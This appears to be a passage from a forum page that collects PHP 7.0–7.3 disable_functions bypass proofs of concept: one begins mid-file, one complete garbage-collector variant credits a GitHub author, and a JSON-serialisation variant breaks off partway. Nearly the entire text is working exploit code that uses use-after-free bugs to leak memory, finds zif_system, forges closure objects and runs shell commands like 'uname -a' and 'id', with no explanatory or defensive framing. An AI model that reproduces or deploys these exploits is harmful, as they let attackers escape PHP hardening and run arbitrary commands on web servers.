- <font color="#c678dd">return</font> $out;
- }
- function write(&$str, $p, $v, $n = 8) {
- $i = <font color="#d19a66">0</font>;
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $n; $i++) {
- $str[$p + $i] = chr($v & <font color="#d19a66">0xff</font>);
- $v >>= <font color="#d19a66">8</font>;
- }
- }
- function leak($addr, $p = 0, $s = 8) {
- <font color="#c678dd">global</font> $abc, $helper;
- write($abc, <font color="#d19a66">0x68</font>, $addr + $p - <font color="#d19a66">0x10</font>);
- $leak = strlen($helper->a);
- <font color="#c678dd">if</font>($s != <font color="#d19a66">8</font>) { $leak %= <font color="#d19a66">2</font> << ($s * <font color="#d19a66">8</font>) - <font color="#d19a66">1</font>; }
- <font color="#c678dd">return</font> $leak;
- }
- function parse_elf($base) {
- $e_type = leak($base, <font color="#d19a66">0x10</font>, <font color="#d19a66">2</font>);
- $e_phoff = leak($base, <font color="#d19a66">0x20</font>);
- $e_phentsize = leak($base, <font color="#d19a66">0x36</font>, <font color="#d19a66">2</font>);
- $e_phnum = leak($base, <font color="#d19a66">0x38</font>, <font color="#d19a66">2</font>);
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $e_phnum; $i++) {
- $header = $base + $e_phoff + $i * $e_phentsize;
- $p_type = leak($header, <font color="#d19a66">0</font>, <font color="#d19a66">4</font>);
- $p_flags = leak($header, <font color="#d19a66">4</font>, <font color="#d19a66">4</font>);
- $p_vaddr = leak($header, <font color="#d19a66">0x10</font>);
- $p_memsz = leak($header, <font color="#d19a66">0x28</font>);
- <font color="#c678dd">if</font>($p_type == <font color="#d19a66">1</font> && $p_flags == <font color="#d19a66">6</font>) { <font color="#5c6370"><i># PT_LOAD, PF_Read_Write</i></font>
- <font color="#5c6370"><i># handle pie</i></font>
- $data_addr = $e_type == <font color="#d19a66">2</font> ? $p_vaddr : $base + $p_vaddr;
- $data_size = $p_memsz;
- } <font color="#c678dd">else</font> <font color="#c678dd">if</font>($p_type == <font color="#d19a66">1</font> && $p_flags == <font color="#d19a66">5</font>) { <font color="#5c6370"><i># PT_LOAD, PF_Read_exec</i></font>
- $text_size = $p_memsz;
- }
- }
- <font color="#c678dd">if</font>(!$data_addr || !$text_size || !$data_size)
- <font color="#c678dd">return</font> <font color="#c678dd">false</font>;
- <font color="#c678dd">return</font> [$data_addr, $text_size, $data_size];
- }
- function get_basic_funcs($base, $elf) {
- <font color="#c678dd">list</font>($data_addr, $text_size, $data_size) = $elf;
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $data_size / <font color="#d19a66">8</font>; $i++) {
- $leak = leak($data_addr, $i * <font color="#d19a66">8</font>);
- <font color="#c678dd">if</font>($leak - $base > <font color="#d19a66">0</font> && $leak - $base < $data_addr - $base) {
- $deref = leak($leak);
- <font color="#5c6370"><i># 'constant' constant check</i></font>
- <font color="#c678dd">if</font>($deref != <font color="#d19a66">0x746e6174736e6f63</font>)
- <font color="#c678dd">continue</font>;
- } <font color="#c678dd">else</font> <font color="#c678dd">continue</font>;
- $leak = leak($data_addr, ($i + <font color="#d19a66">4</font>) * <font color="#d19a66">8</font>);
- <font color="#c678dd">if</font>($leak - $base > <font color="#d19a66">0</font> && $leak - $base < $data_addr - $base) {
- $deref = leak($leak);
- <font color="#5c6370"><i># 'bin2hex' constant check</i></font>
- <font color="#c678dd">if</font>($deref != <font color="#d19a66">0x786568326e6962</font>)
- <font color="#c678dd">continue</font>;
- } <font color="#c678dd">else</font> <font color="#c678dd">continue</font>;
- <font color="#c678dd">return</font> $data_addr + $i * <font color="#d19a66">8</font>;
- }
- }
- function get_binary_base($binary_leak) {
- $base = <font color="#d19a66">0</font>;
- $start = $binary_leak & <font color="#d19a66">0xfffffffffffff000</font>;
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < <font color="#d19a66">0x1000</font>; $i++) {
- $addr = $start - <font color="#d19a66">0x1000</font> * $i;
- $leak = leak($addr, <font color="#d19a66">0</font>, <font color="#d19a66">7</font>);
- <font color="#c678dd">if</font>($leak == <font color="#d19a66">0x10102464c457f</font>) { <font color="#5c6370"><i># ELF header</i></font>
- <font color="#c678dd">return</font> $addr;
- }
- }
- }
- function get_system($basic_funcs) {
- $addr = $basic_funcs;
- <font color="#c678dd">do</font> {
- $f_entry = leak($addr);
- $f_name = leak($f_entry, <font color="#d19a66">0</font>, <font color="#d19a66">6</font>);
- <font color="#c678dd">if</font>($f_name == <font color="#d19a66">0x6d6574737973</font>) { <font color="#5c6370"><i># system</i></font>
- <font color="#c678dd">return</font> leak($addr + <font color="#d19a66">8</font>);
- }
- $addr += <font color="#d19a66">0x20</font>;
- } <font color="#c678dd">while</font>($f_entry != <font color="#d19a66">0</font>);
- <font color="#c678dd">return</font> <font color="#c678dd">false</font>;
- }
- function trigger_uaf($arg) {
- <font color="#5c6370"><i># str_shuffle prevents opcache string interning</i></font>
- $arg = str_shuffle(str_repeat(<font color="#98c379">'A'</font>, <font color="#d19a66">79</font>));
- $vuln = <font color="#c678dd">new</font> Vuln();
- $vuln->a = $arg;
- }
- <font color="#c678dd">if</font>(stristr(PHP_OS, <font color="#98c379">'WIN'</font>)) {
- <font color="#c678dd">die</font>(<font color="#98c379">'This PoC is for *nix systems only.'</font>);
- }
- $n_alloc = <font color="#d19a66">10</font>; <font color="#5c6370"><i># increase this value if UAF fails</i></font>
- $contiguous = [];
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $n_alloc; $i++)
- $contiguous[] = str_shuffle(str_repeat(<font color="#98c379">'A'</font>, <font color="#d19a66">79</font>));
- trigger_uaf(<font color="#98c379">'x'</font>);
- $abc = $backtrace[<font color="#d19a66">1</font>][<font color="#98c379">'args'</font>][<font color="#d19a66">0</font>];
- $helper = <font color="#c678dd">new</font> Helper;
- $helper->b = function ($x) { };
- <font color="#c678dd">if</font>(strlen($abc) == <font color="#d19a66">79</font> || strlen($abc) == <font color="#d19a66">0</font>) {
- <font color="#c678dd">die</font>(<font color="#98c379">"UAF failed"</font>);
- }
- <font color="#5c6370"><i># leaks</i></font>
- $closure_handlers = str2ptr($abc, <font color="#d19a66">0</font>);
- $php_heap = str2ptr($abc, <font color="#d19a66">0x58</font>);
- $abc_addr = $php_heap - <font color="#d19a66">0xc8</font>;
- <font color="#5c6370"><i># fake value</i></font>
- write($abc, <font color="#d19a66">0x60</font>, <font color="#d19a66">2</font>);
- write($abc, <font color="#d19a66">0x70</font>, <font color="#d19a66">6</font>);
- <font color="#5c6370"><i># fake reference</i></font>
- write($abc, <font color="#d19a66">0x10</font>, $abc_addr + <font color="#d19a66">0x60</font>);
- write($abc, <font color="#d19a66">0x18</font>, <font color="#d19a66">0xa</font>);
- $closure_obj = str2ptr($abc, <font color="#d19a66">0x20</font>);
- $binary_leak = leak($closure_handlers, <font color="#d19a66">8</font>);
- <font color="#c678dd">if</font>(!($base = get_binary_base($binary_leak))) {
- <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't determine binary base address"</font>);
- }
- <font color="#c678dd">if</font>(!($elf = parse_elf($base))) {
- <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't parse ELF header"</font>);
- }
- <font color="#c678dd">if</font>(!($basic_funcs = get_basic_funcs($base, $elf))) {
- <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't get basic_functions address"</font>);
- }
- <font color="#c678dd">if</font>(!($zif_system = get_system($basic_funcs))) {
- <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't get zif_system address"</font>);
- }
- <font color="#5c6370"><i># fake closure object</i></font>
- $fake_obj_offset = <font color="#d19a66">0xd0</font>;
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < <font color="#d19a66">0x110</font>; $i += <font color="#d19a66">8</font>) {
- write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
- }
- <font color="#5c6370"><i># pwn</i></font>
- write($abc, <font color="#d19a66">0x20</font>, $abc_addr + $fake_obj_offset);
- write($abc, <font color="#d19a66">0xd0</font> + <font color="#d19a66">0x38</font>, <font color="#d19a66">1</font>, <font color="#d19a66">4</font>); <font color="#5c6370"><i># internal func type</i></font>
- write($abc, <font color="#d19a66">0xd0</font> + <font color="#d19a66">0x68</font>, $zif_system); <font color="#5c6370"><i># internal func handler</i></font>
- ($helper->b)($cmd);
- <font color="#c678dd">exit</font>();
- }
复制代码
gc
- <font color="#61aeee"><?php</font>
- <font color="#5c6370"><i># PHP 7.0-7.3 disable_functions bypass PoC (*nix only)</i></font>
- <font color="#5c6370"><i>#</i></font>
- <font color="#5c6370"><i># Bug: <a href="https://bugs.php.net/bug.php?id=72530" target="_blank">https://bugs.php.net/bug.php?id=72530</a></i></font>
- <font color="#5c6370"><i>#</i></font>
- <font color="#5c6370"><i># This exploit should work on all PHP 7.0-7.3 versions</i></font>
- <font color="#5c6370"><i>#</i></font>
- <font color="#5c6370"><i># Author: <a href="https://github.com/mm0r1" target="_blank">https://github.com/mm0r1</a></i></font>
- pwn(<font color="#98c379">"uname -a"</font>);
- function pwn($cmd) {
- <font color="#c678dd">global</font> $abc, $helper;
- function str2ptr(&$str, $p = 0, $s = 8) {
- $address = <font color="#d19a66">0</font>;
- <font color="#c678dd">for</font>($j = $s<font color="#d19a66">-1</font>; $j >= <font color="#d19a66">0</font>; $j--) {
- $address <<= <font color="#d19a66">8</font>;
- $address |= ord($str[$p+$j]);
- }
- <font color="#c678dd">return</font> $address;
- }
- function ptr2str($ptr, $m = 8) {
- $out = <font color="#98c379">""</font>;
- <font color="#c678dd">for</font> ($i=<font color="#d19a66">0</font>; $i < $m; $i++) {
- $out .= chr($ptr & <font color="#d19a66">0xff</font>);
- $ptr >>= <font color="#d19a66">8</font>;
- }
- <font color="#c678dd">return</font> $out;
- }
- function write(&$str, $p, $v, $n = 8) {
- $i = <font color="#d19a66">0</font>;
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $n; $i++) {
- $str[$p + $i] = chr($v & <font color="#d19a66">0xff</font>);
- $v >>= <font color="#d19a66">8</font>;
- }
- }
- function leak($addr, $p = 0, $s = 8) {
- <font color="#c678dd">global</font> $abc, $helper;
- write($abc, <font color="#d19a66">0x68</font>, $addr + $p - <font color="#d19a66">0x10</font>);
- $leak = strlen($helper->a);
- <font color="#c678dd">if</font>($s != <font color="#d19a66">8</font>) { $leak %= <font color="#d19a66">2</font> << ($s * <font color="#d19a66">8</font>) - <font color="#d19a66">1</font>; }
- <font color="#c678dd">return</font> $leak;
- }
- function parse_elf($base) {
- $e_type = leak($base, <font color="#d19a66">0x10</font>, <font color="#d19a66">2</font>);
- $e_phoff = leak($base, <font color="#d19a66">0x20</font>);
- $e_phentsize = leak($base, <font color="#d19a66">0x36</font>, <font color="#d19a66">2</font>);
- $e_phnum = leak($base, <font color="#d19a66">0x38</font>, <font color="#d19a66">2</font>);
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $e_phnum; $i++) {
- $header = $base + $e_phoff + $i * $e_phentsize;
- $p_type = leak($header, <font color="#d19a66">0</font>, <font color="#d19a66">4</font>);
- $p_flags = leak($header, <font color="#d19a66">4</font>, <font color="#d19a66">4</font>);
- $p_vaddr = leak($header, <font color="#d19a66">0x10</font>);
- $p_memsz = leak($header, <font color="#d19a66">0x28</font>);
- <font color="#c678dd">if</font>($p_type == <font color="#d19a66">1</font> && $p_flags == <font color="#d19a66">6</font>) { <font color="#5c6370"><i># PT_LOAD, PF_Read_Write</i></font>
- <font color="#5c6370"><i># handle pie</i></font>
- $data_addr = $e_type == <font color="#d19a66">2</font> ? $p_vaddr : $base + $p_vaddr;
- $data_size = $p_memsz;
- } <font color="#c678dd">else</font> <font color="#c678dd">if</font>($p_type == <font color="#d19a66">1</font> && $p_flags == <font color="#d19a66">5</font>) { <font color="#5c6370"><i># PT_LOAD, PF_Read_exec</i></font>
- $text_size = $p_memsz;
- }
- }
- <font color="#c678dd">if</font>(!$data_addr || !$text_size || !$data_size)
- <font color="#c678dd">return</font> <font color="#c678dd">false</font>;
- <font color="#c678dd">return</font> [$data_addr, $text_size, $data_size];
- }
- function get_basic_funcs($base, $elf) {
- <font color="#c678dd">list</font>($data_addr, $text_size, $data_size) = $elf;
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $data_size / <font color="#d19a66">8</font>; $i++) {
- $leak = leak($data_addr, $i * <font color="#d19a66">8</font>);
- <font color="#c678dd">if</font>($leak - $base > <font color="#d19a66">0</font> && $leak - $base < $data_addr - $base) {
- $deref = leak($leak);
- <font color="#5c6370"><i># 'constant' constant check</i></font>
- <font color="#c678dd">if</font>($deref != <font color="#d19a66">0x746e6174736e6f63</font>)
- <font color="#c678dd">continue</font>;
- } <font color="#c678dd">else</font> <font color="#c678dd">continue</font>;
- $leak = leak($data_addr, ($i + <font color="#d19a66">4</font>) * <font color="#d19a66">8</font>);
- <font color="#c678dd">if</font>($leak - $base > <font color="#d19a66">0</font> && $leak - $base < $data_addr - $base) {
- $deref = leak($leak);
- <font color="#5c6370"><i># 'bin2hex' constant check</i></font>
- <font color="#c678dd">if</font>($deref != <font color="#d19a66">0x786568326e6962</font>)
- <font color="#c678dd">continue</font>;
- } <font color="#c678dd">else</font> <font color="#c678dd">continue</font>;
- <font color="#c678dd">return</font> $data_addr + $i * <font color="#d19a66">8</font>;
- }
- }
- function get_binary_base($binary_leak) {
- $base = <font color="#d19a66">0</font>;
- $start = $binary_leak & <font color="#d19a66">0xfffffffffffff000</font>;
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < <font color="#d19a66">0x1000</font>; $i++) {
- $addr = $start - <font color="#d19a66">0x1000</font> * $i;
- $leak = leak($addr, <font color="#d19a66">0</font>, <font color="#d19a66">7</font>);
- <font color="#c678dd">if</font>($leak == <font color="#d19a66">0x10102464c457f</font>) { <font color="#5c6370"><i># ELF header</i></font>
- <font color="#c678dd">return</font> $addr;
- }
- }
- }
- function get_system($basic_funcs) {
- $addr = $basic_funcs;
- <font color="#c678dd">do</font> {
- $f_entry = leak($addr);
- $f_name = leak($f_entry, <font color="#d19a66">0</font>, <font color="#d19a66">6</font>);
- <font color="#c678dd">if</font>($f_name == <font color="#d19a66">0x6d6574737973</font>) { <font color="#5c6370"><i># system</i></font>
- <font color="#c678dd">return</font> leak($addr + <font color="#d19a66">8</font>);
- }
- $addr += <font color="#d19a66">0x20</font>;
- } <font color="#c678dd">while</font>($f_entry != <font color="#d19a66">0</font>);
- <font color="#c678dd">return</font> <font color="#c678dd">false</font>;
- }
- class ryat {
- <font color="#c678dd">var</font> $ryat;
- <font color="#c678dd">var</font> $chtg;
-
- function __destruct()
- {
- <font color="#c678dd">$this</font>->chtg = <font color="#c678dd">$this</font>->ryat;
- <font color="#c678dd">$this</font>->ryat = <font color="#d19a66">1</font>;
- }
- }
- class Helper {
- <font color="#c678dd">public</font> $a, $b, $c, $d;
- }
- <font color="#c678dd">if</font>(stristr(PHP_OS, <font color="#98c379">'WIN'</font>)) {
- <font color="#c678dd">die</font>(<font color="#98c379">'This PoC is for *nix systems only.'</font>);
- }
- $n_alloc = <font color="#d19a66">10</font>; <font color="#5c6370"><i># increase this value if you get segfaults</i></font>
- $contiguous = [];
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $n_alloc; $i++)
- $contiguous[] = str_repeat(<font color="#98c379">'A'</font>, <font color="#d19a66">79</font>);
- $poc = <font color="#98c379">'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}'</font>;
- $out = unserialize($poc);
- gc_collect_cycles();
- $v = [];
- $v[<font color="#d19a66">0</font>] = ptr2str(<font color="#d19a66">0</font>, <font color="#d19a66">79</font>);
- <font color="#c678dd">unset</font>($v);
- $abc = $out[<font color="#d19a66">2</font>][<font color="#d19a66">0</font>];
- $helper = <font color="#c678dd">new</font> Helper;
- $helper->b = function ($x) { };
- <font color="#c678dd">if</font>(strlen($abc) == <font color="#d19a66">79</font> || strlen($abc) == <font color="#d19a66">0</font>) {
- <font color="#c678dd">die</font>(<font color="#98c379">"UAF failed"</font>);
- }
- <font color="#5c6370"><i># leaks</i></font>
- $closure_handlers = str2ptr($abc, <font color="#d19a66">0</font>);
- $php_heap = str2ptr($abc, <font color="#d19a66">0x58</font>);
- $abc_addr = $php_heap - <font color="#d19a66">0xc8</font>;
- <font color="#5c6370"><i># fake value</i></font>
- write($abc, <font color="#d19a66">0x60</font>, <font color="#d19a66">2</font>);
- write($abc, <font color="#d19a66">0x70</font>, <font color="#d19a66">6</font>);
- <font color="#5c6370"><i># fake reference</i></font>
- write($abc, <font color="#d19a66">0x10</font>, $abc_addr + <font color="#d19a66">0x60</font>);
- write($abc, <font color="#d19a66">0x18</font>, <font color="#d19a66">0xa</font>);
- $closure_obj = str2ptr($abc, <font color="#d19a66">0x20</font>);
- $binary_leak = leak($closure_handlers, <font color="#d19a66">8</font>);
- <font color="#c678dd">if</font>(!($base = get_binary_base($binary_leak))) {
- <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't determine binary base address"</font>);
- }
- <font color="#c678dd">if</font>(!($elf = parse_elf($base))) {
- <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't parse ELF header"</font>);
- }
- <font color="#c678dd">if</font>(!($basic_funcs = get_basic_funcs($base, $elf))) {
- <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't get basic_functions address"</font>);
- }
- <font color="#c678dd">if</font>(!($zif_system = get_system($basic_funcs))) {
- <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't get zif_system address"</font>);
- }
- <font color="#5c6370"><i># fake closure object</i></font>
- $fake_obj_offset = <font color="#d19a66">0xd0</font>;
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < <font color="#d19a66">0x110</font>; $i += <font color="#d19a66">8</font>) {
- write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
- }
- <font color="#5c6370"><i># pwn</i></font>
- write($abc, <font color="#d19a66">0x20</font>, $abc_addr + $fake_obj_offset);
- write($abc, <font color="#d19a66">0xd0</font> + <font color="#d19a66">0x38</font>, <font color="#d19a66">1</font>, <font color="#d19a66">4</font>); <font color="#5c6370"><i># internal func type</i></font>
- write($abc, <font color="#d19a66">0xd0</font> + <font color="#d19a66">0x68</font>, $zif_system); <font color="#5c6370"><i># internal func handler</i></font>
- ($helper->b)($cmd);
- <font color="#c678dd">exit</font>();
- }
复制代码
json
- <font color="#61aeee"><?php</font>
- $cmd = <font color="#98c379">"id"</font>;
- $n_alloc = <font color="#d19a66">10</font>; <font color="#5c6370"><i># increase this value if you get segfaults</i></font>
- class MySplFixedArray extends SplFixedArray {
- <font color="#c678dd">public</font> <font color="#c678dd">static</font> $leak;
- }
- class Z implements JsonSerializable {
- <font color="#c678dd">public</font> function write(&$str, $p, $v, $n = 8) {
- $i = <font color="#d19a66">0</font>;
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $n; $i++) {
- $str[$p + $i] = chr($v & <font color="#d19a66">0xff</font>);
- $v >>= <font color="#d19a66">8</font>;
- }
- }
- <font color="#c678dd">public</font> function str2ptr(&$str, $p = 0, $s = 8) {
- $address = <font color="#d19a66">0</font>;
- <font color="#c678dd">for</font>($j = $s<font color="#d19a66">-1</font>; $j >= <font color="#d19a66">0</font>; $j--) {
- $address <<= <font color="#d19a66">8</font>;
- $address |= ord($str[$p+$j]);
- }
- <font color="#c678dd">return</font> $address;
- }
- <font color="#c678dd">public</font> function ptr2str($ptr, $m = 8) {
- $out = <font color="#98c379">""</font>;
- <font color="#c678dd">for</font> ($i=<font color="#d19a66">0</font>; $i < $m; $i++) {
- $out .= chr($ptr & <font color="#d19a66">0xff</font>);
- $ptr >>= <font color="#d19a66">8</font>;
- }
- <font color="#c678dd">return</font> $out;
- }
- <font color="#5c6370"><i># unable to leak ro segments</i></font>
- <font color="#c678dd">public</font> function leak1($addr) {
- <font color="#c678dd">global</font> $spl1;
- <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">8</font>, $addr - <font color="#d19a66">0x10</font>);
- <font color="#c678dd">return</font> strlen(get_class($spl1));
- }
- <font color="#5c6370"><i># the real deal</i></font>
- <font color="#c678dd">public</font> function leak2($addr, $p = 0, $s = 8) {
- <font color="#c678dd">global</font> $spl1, $fake_tbl_off;
- <font color="#5c6370"><i># fake reference zval</i></font>
- <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, $fake_tbl_off + <font color="#d19a66">0x10</font>, <font color="#d19a66">0xdeadbeef</font>); <font color="#5c6370"><i># gc_refcounted</i></font>
- <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, $fake_tbl_off + <font color="#d19a66">0x18</font>, $addr + $p - <font color="#d19a66">0x10</font>); <font color="#5c6370"><i># zval</i></font>
- <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, $fake_tbl_off + <font color="#d19a66">0x20</font>, <font color="#d19a66">6</font>); <font color="#5c6370"><i># type (string)</i></font>
- $leak = strlen($spl1::$leak);
- <font color="#c678dd">if</font>($s != <font color="#d19a66">8</font>) { $leak %= <font color="#d19a66">2</font> << ($s * <font color="#d19a66">8</font>) - <font color="#d19a66">1</font>; }
- <font color="#c678dd">return</font> $leak;
- }
- <font color="#c678dd">public</font> function parse_elf($base) {
- $e_type = <font color="#c678dd">$this</font>->leak2($base, <font color="#d19a66">0x10</font>, <font color="#d19a66">2</font>);
- $e_phoff = <font color="#c678dd">$this</font>->leak2($base, <font color="#d19a66">0x20</font>);
- $e_phentsize = <font color="#c678dd">$this</font>->leak2($base, <font color="#d19a66">0x36</font>, <font color="#d19a66">2</font>);
- $e_phnum = <font color="#c678dd">$this</font>->leak2($base, <font color="#d19a66">0x38</font>, <font color="#d19a66">2</font>);
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $e_phnum; $i++) {
- $header = $base + $e_phoff + $i * $e_phentsize;
- $p_type = <font color="#c678dd">$this</font>->leak2($header, <font color="#d19a66">0</font>, <font color="#d19a66">4</font>);
- $p_flags = <font color="#c678dd">$this</font>->leak2($header, <font color="#d19a66">4</font>, <font color="#d19a66">4</font>);
- $p_vaddr = <font color="#c678dd">$this</font>->leak2($header, <font color="#d19a66">0x10</font>);
- $p_memsz = <font color="#c678dd">$this</font>->leak2($header, <font color="#d19a66">0x28</font>);
- <font color="#c678dd">if</font>($p_type == <font color="#d19a66">1</font> && $p_flags == <font color="#d19a66">6</font>) { <font color="#5c6370"><i># PT_LOAD, PF_Read_Write</i></font>
- <font color="#5c6370"><i># handle pie</i></font>
- $data_addr = $e_type == <font color="#d19a66">2</font> ? $p_vaddr : $base + $p_vaddr;
- $data_size = $p_memsz;
- } <font color="#c678dd">else</font> <font color="#c678dd">if</font>($p_type == <font color="#d19a66">1</font> && $p_flags == <font color="#d19a66">5</font>) { <font color="#5c6370"><i># PT_LOAD, PF_Read_exec</i></font>
- $text_size = $p_memsz;
- }
- }
- <font color="#c678dd">if</font>(!$data_addr || !$text_size || !$data_size)
- <font color="#c678dd">return</font> <font color="#c678dd">false</font>;
- <font color="#c678dd">return</font> [$data_addr, $text_size, $data_size];
- }
- <font color="#c678dd">public</font> function get_basic_funcs($base, $elf) {
- <font color="#c678dd">list</font>($data_addr, $text_size, $data_size) = $elf;
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $data_size / <font color="#d19a66">8</font>; $i++) {
- $leak = <font color="#c678dd">$this</font>->leak2($data_addr, $i * <font color="#d19a66">8</font>);
- <font color="#c678dd">if</font>($leak - $base > <font color="#d19a66">0</font> && $leak - $base < $data_addr - $base) {
- $deref = <font color="#c678dd">$this</font>->leak2($leak);
- <font color="#5c6370"><i># 'constant' constant check</i></font>
- <font color="#c678dd">if</font>($deref != <font color="#d19a66">0x746e6174736e6f63</font>)
- <font color="#c678dd">continue</font>;
- } <font color="#c678dd">else</font> <font color="#c678dd">continue</font>;
- $leak = <font color="#c678dd">$this</font>->leak2($data_addr, ($i + <font color="#d19a66">4</font>) * <font color="#d19a66">8</font>);
- <font color="#c678dd">if</font>($leak - $base > <font color="#d19a66">0</font> && $leak - $base < $data_addr - $base) {
- $deref = <font color="#c678dd">$this</font>->leak2($leak);
- <font color="#5c6370"><i># 'bin2hex' constant check</i></font>
- <font color="#c678dd">if</font>($deref != <font color="#d19a66">0x786568326e6962</font>)
- <font color="#c678dd">continue</font>;
- } <font color="#c678dd">else</font> <font color="#c678dd">continue</font>;
- <font color="#c678dd">return</font> $data_addr + $i * <font color="#d19a66">8</font>;
- }
- }
- <font color="#c678dd">public</font> function get_binary_base($binary_leak) {
- $base = <font color="#d19a66">0</font>;
- $start = $binary_leak & <font color="#d19a66">0xfffffffffffff000</font>;
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < <font color="#d19a66">0x1000</font>; $i++) {
- $addr = $start - <font color="#d19a66">0x1000</font> * $i;
- $leak = <font color="#c678dd">$this</font>->leak2($addr, <font color="#d19a66">0</font>, <font color="#d19a66">7</font>);
- <font color="#c678dd">if</font>($leak == <font color="#d19a66">0x10102464c457f</font>) { <font color="#5c6370"><i># ELF header</i></font>
- <font color="#c678dd">return</font> $addr;
- }
- }
- }
- <font color="#c678dd">public</font> function get_system($basic_funcs) {
- $addr = $basic_funcs;
- <font color="#c678dd">do</font> {
- $f_entry = <font color="#c678dd">$this</font>->leak2($addr);
- $f_name = <font color="#c678dd">$this</font>->leak2($f_entry, <font color="#d19a66">0</font>, <font color="#d19a66">6</font>);
- <font color="#c678dd">if</font>($f_name == <font color="#d19a66">0x6d6574737973</font>) { <font color="#5c6370"><i># system</i></font>
- <font color="#c678dd">return</font> <font color="#c678dd">$this</font>->leak2($addr + <font color="#d19a66">8</font>);
- }
- $addr += <font color="#d19a66">0x20</font>;
- } <font color="#c678dd">while</font>($f_entry != <font color="#d19a66">0</font>);
- <font color="#c678dd">return</font> <font color="#c678dd">false</font>;
- }
- <font color="#c678dd">public</font> function jsonSerialize() {
- <font color="#c678dd">global</font> $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;
- $contiguous = [];
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $n_alloc; $i++)
- $contiguous[] = <font color="#c678dd">new</font> DateInterval(<font color="#98c379">'PT1S'</font>);
- $room = [];
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $n_alloc; $i++)
- $room[] = <font color="#c678dd">new</font> Z();
- $_protector = <font color="#c678dd">$this</font>->ptr2str(<font color="#d19a66">0</font>, <font color="#d19a66">78</font>);
- <font color="#c678dd">$this</font>->abc = <font color="#c678dd">$this</font>->ptr2str(<font color="#d19a66">0</font>, <font color="#d19a66">79</font>);
- $p = <font color="#c678dd">new</font> DateInterval(<font color="#98c379">'PT1S'</font>);
- <font color="#c678dd">unset</font>($y[<font color="#d19a66">0</font>]);
- <font color="#c678dd">unset</font>($p);
- $protector = <font color="#98c379">".$_protector"</font>;
- $x = <font color="#c678dd">new</font> DateInterval(<font color="#98c379">'PT1S'</font>);
- $x->d = <font color="#d19a66">0x2000</font>;
- $x->h = <font color="#d19a66">0xdeadbeef</font>;
- <font color="#5c6370"><i># $this->abc is now of size 0x2000</i></font>
- <font color="#c678dd">if</font>(<font color="#c678dd">$this</font>->str2ptr(<font color="#c678dd">$this</font>->abc) != <font color="#d19a66">0xdeadbeef</font>) {
- <font color="#c678dd">die</font>(<font color="#98c379">'UAF failed.'</font>);
- }
- $spl1 = <font color="#c678dd">new</font> MySplFixedArray();
- $spl2 = <font color="#c678dd">new</font> MySplFixedArray();
- <font color="#5c6370"><i># some leaks</i></font>
- $class_entry = <font color="#c678dd">$this</font>->str2ptr(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">0x120</font>);
- $handlers = <font color="#c678dd">$this</font>->str2ptr(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">0x128</font>);
- $php_heap = <font color="#c678dd">$this</font>->str2ptr(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">0x1a8</font>);
- $abc_addr = $php_heap - <font color="#d19a66">0x218</font>;
- <font color="#5c6370"><i># create a fake class_entry</i></font>
- $fake_obj = $abc_addr;
- <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">0</font>, <font color="#d19a66">2</font>); <font color="#5c6370"><i># type</i></font>
- <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">0x120</font>, $abc_addr); <font color="#5c6370"><i># fake class_entry</i></font>
- <font color="#5c6370"><i># copy some of class_entry definition</i></font>
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < <font color="#d19a66">16</font>; $i++) {
- <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">0x10</font> + $i * <font color="#d19a66">8</font>,
- <font color="#c678dd">$this</font>->leak1($class_entry + <font color="#d19a66">0x10</font> + $i * <font color="#d19a66">8</font>));
- }
- <font color="#5c6370"><i># fake static members table</i></font>
- $fake_tbl_off = <font color="#d19a66">0x70</font> * <font color="#d19a66">4</font> - <font color="#d19a66">16</font>;
- <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">0x30</font>, $abc_addr + $fake_tbl_off);
- <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">0x38</font>, $abc_addr + $fake_tbl_off);
- <font color="#5c6370"><i># fake zval_reference</i></font>
